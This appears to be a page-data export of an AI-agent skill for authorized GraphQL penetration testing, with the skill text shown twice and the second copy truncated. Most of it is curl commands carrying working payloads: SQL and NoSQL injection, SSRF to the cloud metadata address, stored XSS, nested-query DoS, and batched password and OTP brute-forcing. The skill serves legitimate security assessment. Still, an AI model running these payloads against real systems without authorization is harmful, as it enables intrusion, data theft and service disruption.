[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73EJB6ECSYF4PRNBWFVRJRA":3,"skill-same:01M73EJB6ECSYF4PRNBWFVRJRA":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":55,"ownerHtmlUrl":56,"ownerBlogUrl":57,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M73EJB6ECSYF4PRNBWFVRJRA","performing-graphql-security-assessment",null,"Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-graphql-security-assessment\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-graphql-security-assessment\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-graphql-security-assessment\ndescription: Assessing GraphQL API endpoints for introspection leaks, injection attacks,\n  authorization flaws, and denial-of-service vulnerabilities during authorized security\n  tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- graphql\n- api-security\n- owasp\n- web-security\n- introspection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Performing GraphQL Security Assessment\n\n## When to Use\n\n- During authorized penetration tests when the target application uses a GraphQL API\n- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL\n- For evaluating mobile app backends that expose GraphQL endpoints\n- When testing microservice architectures with a GraphQL gateway or federation\n- During bug bounty programs targeting GraphQL-based APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With InQL extension for GraphQL scanning\n- **GraphQL Voyager**: Schema visualization tool\n- **InQL Scanner**: Burp extension for GraphQL introspection and query generation\n- **Altair GraphQL Client**: Desktop GraphQL client for interactive testing\n- **clairvoyance**: GraphQL schema enumeration when introspection is disabled\n- **curl**: For manual GraphQL query submission\n\n## Workflow\n\n### Step 1: Discover and Fingerprint GraphQL Endpoints\n\nLocate GraphQL endpoints and confirm GraphQL is running.\n\n```bash\n# Common GraphQL endpoint paths\nfor path in graphql graphiql playground query gql api\u002Fgraphql \\\n  v1\u002Fgraphql v2\u002Fgraphql graphql\u002Fconsole; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n\n# Check for GraphQL IDEs (GraphiQL, Playground)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphiql\" | grep -i \"graphiql\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\u002Fplayground\" | grep -i \"playground\"\n\n# Fingerprint GraphQL engine\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__typename}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n# Response varies by engine: Apollo returns \"Query\", Hasura returns \"query_root\"\n\n# Check for WebSocket GraphQL subscriptions\n# ws:\u002F\u002Ftarget.example.com\u002Fgraphql (or wss:\u002F\u002F)\n```\n\n### Step 2: Perform Schema Introspection\n\nExtract the full GraphQL schema to understand the API surface.\n\n```bash\n# Full introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Comprehensive introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq . > schema.json\n\n# If introspection is disabled, use clairvoyance for schema enumeration\npython3 -m clairvoyance \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fgraphql-field-names.txt \\\n  -o discovered-schema.json\n\n# Visualize the schema using GraphQL Voyager\n# Upload schema.json to https:\u002F\u002Fgraphql-kit.com\u002Fgraphql-voyager\u002F\n```\n\n### Step 3: Test Authorization on Queries and Mutations\n\nVerify that access control is enforced at the field and object level.\n\n```bash\n# Test querying all users (should require admin)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ users { id email role passwordHash } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test accessing sensitive fields on own user\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ user(id: 1) { id email ssn creditCard internalNotes } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test mutation authorization (admin-only actions with user token)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { deleteUser(id: 2) { success } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test without any authentication\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 4: Test for Injection Vulnerabilities\n\nAssess GraphQL queries for SQL injection, NoSQL injection, and other injection types.\n\n```bash\n# SQL injection in GraphQL arguments\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ user(name: \\\"admin\\\\\\\" OR 1=1--\\\") { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# NoSQL injection (MongoDB)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(filter: {email: {$ne: \\\"\\\"}}) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for SSRF via GraphQL\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { importData(url: \\\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\\\") { result } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for stored XSS via mutations\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { updateProfile(bio: \\\"\u003Cscript>alert(1)\u003C\u002Fscript>\\\") { id bio } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# GraphQL directive injection\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 1) { email @deprecated } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 5: Test for Denial of Service Attacks\n\nAssess query complexity limits and resource consumption controls.\n\n```bash\n# Deep nesting attack (query depth)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Width attack (requesting many fields)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch query attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"query\":\"{ user(id:1){email} }\"},{\"query\":\"{ user(id:2){email} }\"},{\"query\":\"{ user(id:3){email} }\"},{\"query\":\"{ user(id:4){email} }\"},{\"query\":\"{ user(id:5){email} }\"}]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Fragment-based circular reference\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for unbounded pagination\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(first: 1000000) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq '.data.users | length'\n```\n\n### Step 6: Test Batching for Authentication Bypass\n\nUse query batching to brute-force credentials or bypass rate limiting.\n\n```bash\n# Batch login attempts to bypass rate limiting\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password1\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password2\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password3\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"admin123\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"letmein\\\"){token}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch OTP verification attempts\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{verifyOTP(code:\\\"000000\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000001\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000002\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000003\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000004\\\"){success}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Alias-based batching (same operation, different aliases)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"mutation { a1:login(email:\\\"admin@test.com\\\",password:\\\"pass1\\\"){token} a2:login(email:\\\"admin@test.com\\\",password:\\\"pass2\\\"){token} a3:login(email:\\\"admin@test.com\\\",password:\\\"pass3\\\"){token} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Introspection** | GraphQL feature that exposes the full schema, types, fields, and mutations |\n| **Query Depth** | The nesting level of a GraphQL query; deep queries can cause DoS |\n| **Query Complexity** | A score calculated from the cost of resolving each field in a query |\n| **Batching** | Sending multiple queries in a single HTTP request for parallel execution |\n| **Aliases** | GraphQL feature allowing the same field to be queried multiple times with different arguments |\n| **Fragments** | Reusable field selections that can cause circular references if not validated |\n| **N+1 Problem** | Unoptimized resolvers causing exponential database queries for nested fields |\n| **Field-level Authorization** | Access control applied to individual fields rather than entire types |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **InQL (Burp Extension)** | GraphQL introspection scanner and query generator for Burp Suite |\n| **GraphQL Voyager** | Interactive schema visualization tool |\n| **Altair GraphQL Client** | Desktop GraphQL IDE for crafting and testing queries |\n| **clairvoyance** | Schema enumeration when introspection is disabled |\n| **graphql-cop** | GraphQL security auditing tool (`pip install graphql-cop`) |\n| **BatchQL** | GraphQL batching attack tool for rate limit bypass |\n\n## Common Scenarios\n\n### Scenario 1: Introspection Exposes Internal Schema\nIntrospection is enabled in production, revealing internal types like `AdminSettings`, `InternalUser`, and mutations like `deleteAllUsers`. This provides a complete roadmap for further attacks.\n\n### Scenario 2: Missing Field-Level Authorization\nThe `User` type exposes `passwordHash`, `ssn`, and `internalNotes` fields. While the frontend only queries `name` and `email`, any authenticated user can request sensitive fields directly.\n\n### Scenario 3: Batch Login Bypass\nThe GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.\n\n### Scenario 4: Nested Query DoS\nA social network API allows querying `friends { friends { friends { ... } } }` up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.\n\n## Output Format\n\n```\n## GraphQL Security Assessment Report\n\n**Target**: https:\u002F\u002Ftarget.example.com\u002Fgraphql\n**Engine**: Apollo Server 4.x\n**Assessment Date**: 2024-01-15\n\n### Findings Summary\n| Finding | Severity | Status |\n|---------|----------|--------|\n| Introspection enabled in production | Medium | VULNERABLE |\n| Missing field-level authorization | High | VULNERABLE |\n| No query depth limit | High | VULNERABLE |\n| Batch query rate limit bypass | High | VULNERABLE |\n| GraphiQL IDE exposed | Low | VULNERABLE |\n| SQL injection in user query | Critical | VULNERABLE |\n| CSRF on mutations | Medium | PASS (custom header required) |\n\n### Critical: SQL Injection via user Query\n**Location**: `user(name: String)` query argument\n**Payload**: `{ user(name: \"' OR 1=1--\") { id email role } }`\n**Impact**: Full database read access via GraphQL interface\n\n### High: Batch Authentication Bypass\n**Location**: POST \u002Fgraphql (array body)\n**Payload**: Array of 100 login mutations in single request\n**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request\n\n### Recommendation\n1. Disable introspection in production environments\n2. Implement field-level authorization on all sensitive fields\n3. Set query depth limit (max 7-10 levels)\n4. Set query complexity limit and cost analysis\n5. Disable or rate-limit batch queries\n6. Remove GraphiQL\u002FPlayground from production\n7. Parameterize all database queries in resolvers\n```\n","# Performing GraphQL Security Assessment\n\n## When to Use\n\n- During authorized penetration tests when the target application uses a GraphQL API\n- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL\n- For evaluating mobile app backends that expose GraphQL endpoints\n- When testing microservice architectures with a GraphQL gateway or federation\n- During bug bounty programs targeting GraphQL-based APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With InQL extension for GraphQL scanning\n- **GraphQL Voyager**: Schema visualization tool\n- **InQL Scanner**: Burp extension for GraphQL introspection and query generation\n- **Altair GraphQL Client**: Desktop GraphQL client for interactive testing\n- **clairvoyance**: GraphQL schema enumeration when introspection is disabled\n- **curl**: For manual GraphQL query submission\n\n## Workflow\n\n### Step 1: Discover and Fingerprint GraphQL Endpoints\n\nLocate GraphQL endpoints and confirm GraphQL is running.\n\n```bash\n# Common GraphQL endpoint paths\nfor path in graphql graphiql playground query gql api\u002Fgraphql \\\n  v1\u002Fgraphql v2\u002Fgraphql graphql\u002Fconsole; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n\n# Check for GraphQL IDEs (GraphiQL, Playground)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphiql\" | grep -i \"graphiql\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\u002Fplayground\" | grep -i \"playground\"\n\n# Fingerprint GraphQL engine\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__typename}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n# Response varies by engine: Apollo returns \"Query\", Hasura returns \"query_root\"\n\n# Check for WebSocket GraphQL subscriptions\n# ws:\u002F\u002Ftarget.example.com\u002Fgraphql (or wss:\u002F\u002F)\n```\n\n### Step 2: Perform Schema Introspection\n\nExtract the full GraphQL schema to understand the API surface.\n\n```bash\n# Full introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Comprehensive introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq . > schema.json\n\n# If introspection is disabled, use clairvoyance for schema enumeration\npython3 -m clairvoyance \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fgraphql-field-names.txt \\\n  -o discovered-schema.json\n\n# Visualize the schema using GraphQL Voyager\n# Upload schema.json to https:\u002F\u002Fgraphql-kit.com\u002Fgraphql-voyager\u002F\n```\n\n### Step 3: Test Authorization on Queries and Mutations\n\nVerify that access control is enforced at the field and object level.\n\n```bash\n# Test querying all users (should require admin)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ users { id email role passwordHash } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test accessing sensitive fields on own user\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ user(id: 1) { id email ssn creditCard internalNotes } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test mutation authorization (admin-only actions with user token)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { deleteUser(id: 2) { success } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test without any authentication\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 4: Test for Injection Vulnerabilities\n\nAssess GraphQL queries for SQL injection, NoSQL injection, and other injection types.\n\n```bash\n# SQL injection in GraphQL arguments\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ user(name: \\\"admin\\\\\\\" OR 1=1--\\\") { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# NoSQL injection (MongoDB)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(filter: {email: {$ne: \\\"\\\"}}) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for SSRF via GraphQL\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { importData(url: \\\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\\\") { result } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for stored XSS via mutations\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { updateProfile(bio: \\\"\u003Cscript>alert(1)\u003C\u002Fscript>\\\") { id bio } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# GraphQL directive injection\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 1) { email @deprecated } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 5: Test for Denial of Service Attacks\n\nAssess query complexity limits and resource consumption controls.\n\n```bash\n# Deep nesting attack (query depth)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Width attack (requesting many fields)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch query attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"query\":\"{ user(id:1){email} }\"},{\"query\":\"{ user(id:2){email} }\"},{\"query\":\"{ user(id:3){email} }\"},{\"query\":\"{ user(id:4){email} }\"},{\"query\":\"{ user(id:5){email} }\"}]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Fragment-based circular reference\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for unbounded pagination\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(first: 1000000) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq '.data.users | length'\n```\n\n### Step 6: Test Batching for Authentication Bypass\n\nUse query batching to brute-force credentials or bypass rate limiting.\n\n```bash\n# Batch login attempts to bypass rate limiting\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password1\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password2\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password3\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"admin123\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"letmein\\\"){token}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch OTP verification attempts\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{verifyOTP(code:\\\"000000\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000001\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000002\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000003\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000004\\\"){success}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Alias-based batching (same operation, different aliases)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"mutation { a1:login(email:\\\"admin@test.com\\\",password:\\\"pass1\\\"){token} a2:login(email:\\\"admin@test.com\\\",password:\\\"pass2\\\"){token} a3:login(email:\\\"admin@test.com\\\",password:\\\"pass3\\\"){token} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Introspection** | GraphQL feature that exposes the full schema, types, fields, and mutations |\n| **Query Depth** | The nesting level of a GraphQL query; deep queries can cause DoS |\n| **Query Complexity** | A score calculated from the cost of resolving each field in a query |\n| **Batching** | Sending multiple queries in a single HTTP request for parallel execution |\n| **Aliases** | GraphQL feature allowing the same field to be queried multiple times with different arguments |\n| **Fragments** | Reusable field selections that can cause circular references if not validated |\n| **N+1 Problem** | Unoptimized resolvers causing exponential database queries for nested fields |\n| **Field-level Authorization** | Access control applied to individual fields rather than entire types |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **InQL (Burp Extension)** | GraphQL introspection scanner and query generator for Burp Suite |\n| **GraphQL Voyager** | Interactive schema visualization tool |\n| **Altair GraphQL Client** | Desktop GraphQL IDE for crafting and testing queries |\n| **clairvoyance** | Schema enumeration when introspection is disabled |\n| **graphql-cop** | GraphQL security auditing tool (`pip install graphql-cop`) |\n| **BatchQL** | GraphQL batching attack tool for rate limit bypass |\n\n## Common Scenarios\n\n### Scenario 1: Introspection Exposes Internal Schema\nIntrospection is enabled in production, revealing internal types like `AdminSettings`, `InternalUser`, and mutations like `deleteAllUsers`. This provides a complete roadmap for further attacks.\n\n### Scenario 2: Missing Field-Level Authorization\nThe `User` type exposes `passwordHash`, `ssn`, and `internalNotes` fields. While the frontend only queries `name` and `email`, any authenticated user can request sensitive fields directly.\n\n### Scenario 3: Batch Login Bypass\nThe GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single 